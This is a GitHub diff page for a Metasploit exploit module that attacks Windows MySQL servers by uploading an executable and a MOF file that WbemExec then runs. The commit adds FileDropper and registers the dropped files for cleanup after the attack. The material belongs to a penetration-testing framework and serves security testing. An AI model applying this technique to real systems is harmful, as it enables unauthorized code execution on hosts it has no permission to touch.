File tree Expand file tree Collapse file tree 1 file changed +3
-0
lines changed
modules/exploits/windows/mysql Expand file tree Collapse file tree 1 file changed +3
-0
lines changed Original file line number Diff line number Diff line change @@ -13,6 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
13
13
include Msf ::Exploit ::Remote ::MYSQL
14
14
include Msf ::Exploit ::WbemExec
15
15
include Msf ::Exploit ::EXE
16
+ include Msf ::Exploit ::FileDropper
16
17
17
18
def initialize ( info = { } )
18
19
super ( update_info ( info ,
@@ -122,6 +123,7 @@ def exploit
122
123
print_status ( "#{ peer } - Uploading to '#{ dest } '" )
123
124
begin
124
125
upload_file ( exe , dest )
126
+ register_file_for_cleanup ( "#{ exe_name } " )
125
127
rescue RbMysql ::AccessDeniedError
126
128
print_error ( "#{ peer } - No permission to write. I blame kc :-)" )
127
129
return
@@ -133,6 +135,7 @@ def exploit
133
135
print_status ( "#{ peer } - Uploading to '#{ dest } '" )
134
136
begin
135
137
upload_file ( mof , dest )
138
+ register_file_for_cleanup ( "wbem\\ mof\\ good\\ #{ mof_name } " )
136
139
rescue RbMysql ::AccessDeniedError
137
140
print_error ( "#{ peer } - No permission to write. Bail!" )
138
141
return
You can’t perform that action at this time.
0 commit comments